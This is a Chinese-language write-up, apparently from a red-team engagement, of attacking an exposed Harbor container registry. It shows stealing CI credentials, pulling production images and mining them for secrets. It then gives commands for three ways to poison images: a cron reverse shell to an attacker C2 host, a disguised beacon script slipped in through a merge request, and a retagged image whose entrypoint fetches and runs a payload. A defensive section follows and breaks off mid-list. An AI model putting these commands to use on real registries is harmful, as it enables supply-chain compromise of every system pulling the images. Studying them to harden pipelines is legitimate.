一个未授权的Harbor,我拿到了整条生产线的容器镜像:云上供应链攻击实战

一个未授权的Harbor,我拿到了整条生产线的容器镜像:云上供应链攻击实战
、发现并利用未授权的Harbor实例第一步从CI文件找到入口回到那次评估。GitLab上翻CI配置是我的常规操作通常能在环境变量或配置文件里找到各种惊喜。# .gitlab-ci.yml 片段 build-image: stage: build script: - docker login harbor.internal.company.com -u ci_robot -p Harbor12345 - docker build -t harbor.internal.company.com/production/app:$CI_COMMIT_SHA . - docker push harbor.internal.company.com/production/app:$CI_COMMIT_SHA明文密码Harbor12345用户名ci_robot——真就一点没藏着。第二步探测仓库权限拿到凭证后我先不急着下载而是先看看这个ci_robot账号到底有多大权限。# 查看仓库列表 curl -s -u ci_robot:Harbor12345 \ https://harbor.internal.company.com/api/v2.0/projects | jq . # 输出显示该账号对 production、staging、base-images 三个项目有 push/pull 权限很好不是只读的robot账号居然有push权限。这种配置错误非常典型——CI用的robot账号为了方便调试给了远超所需的最小权限。我接下来用Skopeo列出所有可访问的镜像# 用 skopeo 列出仓库内容比docker CLI更灵活 skopeo list-tags \ --tls-verifyfalse \ --creds ci_robot:Harbor12345 \ docker://harbor.internal.company.com/production # 输出显示有 40 个镜像标签 # 包括 app:latest, app:v2.3.1, gateway:latest, user-service:1.0.0 ...第三步翻找硬编码凭证第一个目标app:latest——这是生产环境当前运行的版本。# 拉取并解包镜像层 skopeo copy \ --tls-verifyfalse \ --creds ci_robot:Harbor12345 \ docker://harbor.internal.company.com/production/app:latest \ docker-archive:./app-latest.tar # 解压查看每一层 mkdir app-layers cd app-layers tar xf ../app-latest.tar for layer in *.tar; do echo 检查层: $layer tar tf $layer | grep -iE (password|secret|key|token|credential|\.env|config\.) done结果在不到30秒内我找到了三组硬编码凭证application.yml里明文写的RDS连接密码生产库.env文件里的阿里云AccessKey和SecretKeyredis.conf里的Redis密码这台Redis居然没有IP白名单很多开发者觉得镜像只存在我们仓库里别人看不到——这种想法本身就是最大的漏洞。三、从凭据窃取到供应链投毒拿到RDS密码后按传统路径我直接登录数据库就完事了。但这次我还有一个更大胆的计划——供应链投毒。方案A直接在基础镜像中埋后门查看base-images项目这是一个存放所有基础镜像的仓库包括openjdk:11-jre-slim-custom、nginx-custom、python:3.9-slim-custom等。# 查看 base-images 项目中的镜像 curl -s -u ci_robot:Harbor12345 \ https://harbor.internal.company.com/api/v2.0/projects/base-images/repositories | jq -r .[].name这些自定义基础镜像被production目录下至少一半的服务引用。如果我替换其中一个# 原始基础镜像 dockerfile FROM openjdk:11-jre-slim RUN apt-get update apt-get install -y curl # 后门版本植入反向Shell FROM openjdk:11-jre-slim RUN apt-get update apt-get install -y curl # 添加一个定期执行的反向连接任务 RUN echo */5 * * * * root bash -c exec bash -i /dev/tcp/attacker-c2.com/44441 /etc/cron.d/evil但是这个方案有个问题——重新打tag覆盖会触发Harbor的webhook通知如果对方配置了镜像扫描或审计告警很容易被发现。方案B利用镜像标签覆盖更隐蔽我选择了更隐蔽的做法不修改镜像内容而是直接利用CI流程的缺陷触发重新构建。研究了一下他们的CI流水线发现latest标签并不是通过Git Tag触发的而是每次main分支有新的合并请求CI都会重新构建并推送latest标签。这意味着我只需要在GitLab上提一个看似无害的MR在里面加一段合法的构建脚本就能让CI自动把带着后门的镜像推送到生产仓库。# 看起来人畜无害的代码改动增加一个监控脚本 # 实际作用是在容器启动时向C2服务器报告存活状态 # 在 Dockerfile 中添加 COPY monitor.sh /usr/local/bin/ RUN chmod x /usr/local/bin/monitor.sh # monitor.sh 实际内容curl http://c2-server/beacon?pod$(hostname)方案C直接篡改已存在的镜像最激进Harbor默认不启用镜像签名验证(Notary/Distribution)。我可以用docker push直接覆盖已存在的镜像标签# 拉取生产镜像 docker pull harbor.internal.company.com/production/gateway:v3.1.2 # 在本地做修改——注入反弹shell docker commit --changeENTRYPOINT [/bin/bash, -c, curl http://c2/payload | bash ; exec /entrypoint.sh] \ $(docker run -d gateway:v3.1.2 sleep 1) \ harbor.internal.company.com/production/gateway:v3.1.2-trojaned # 推送并覆盖原标签 docker push harbor.internal.company.com/production/gateway:v3.1.2-trojaned # 重新打标签为原始版本号 docker tag harbor.internal.company.com/production/gateway:v3.1.2-trojaned \ harbor.internal.company.com/production/gateway:v3.1.2 # 强制推送覆盖 docker push harbor.internal.company.com/production/gateway:v3.1.2这种方式最致命——下次Pod滚动更新或重建时K8s会自动拉取被篡改的v3.1.2镜像。没有镜像摘要(Pinning by digest)的环境根本无法察觉到变化。四、防御方案你不能相信你不知道的东西事情做完了回到蓝军视角。如果我是被攻击的一方该怎么防1. 启用镜像签名验证Harbor支持Cosign和Notation集成K8s侧可以用 admission controller 校验签名# 使用 Cosign 对镜像签名 COSIGN_PASSWORDxxx cosign sign \ --key cosign.key \ harbor.internal.company.com/production/app:v3.1.2 # 在K8s中验证 apiVersion: cosigned.sigstore.dev/v1beta1 kind: ClusterImagePolicy metadata: name: image-signature-policy spec: images: - glob: harbor.internal.company.com/production/* authorities: - key: data: | -----BEGIN PUBLIC KEY----- ...2. CI Robot账号遵循最小权限原则# Harbor API创建项目级别的只读 robot 账号 curl -X POST https://harbor.internal.company.com/api/v2.0/robots \ -u admin:password \ -H Content-Type: application/json \ -d { name: build-pull-only, duration: -1, level: project, permissions: [{ kind: project, namespace: production, access: [ {resource: repository, action: pull}, {resource: artifact, action: read} ] }] }3. 镜像拉取使用Digest而非标签这是最有效也最简单的防御——不要在Deployment里使用:latest或:v3.1.2这种可变标签改用不可变的镜像摘要# ❌ 危险的做法 image: harbor.internal.company.com/production/app:latest # ✅ 安全的做法 image: harbor.internal.company.com/production/appsha256:a1b2c3d4e5f6...4. 启用镜像漏洞扫描和策略拦截Harbor内置了Trivy扫描器可以配置扫描策略——发现Critical漏洞时阻止部署# Harbor API配置扫描策略 curl -X PUT https://harbor.internal.company.com/api/v2.0/projects/production \ -u admin:password \ -H Content-Type: application/json \ -d { auto_scan: true, scan_policy: { severity_threshold: high, block_on_vul: true } }5. 审计与告警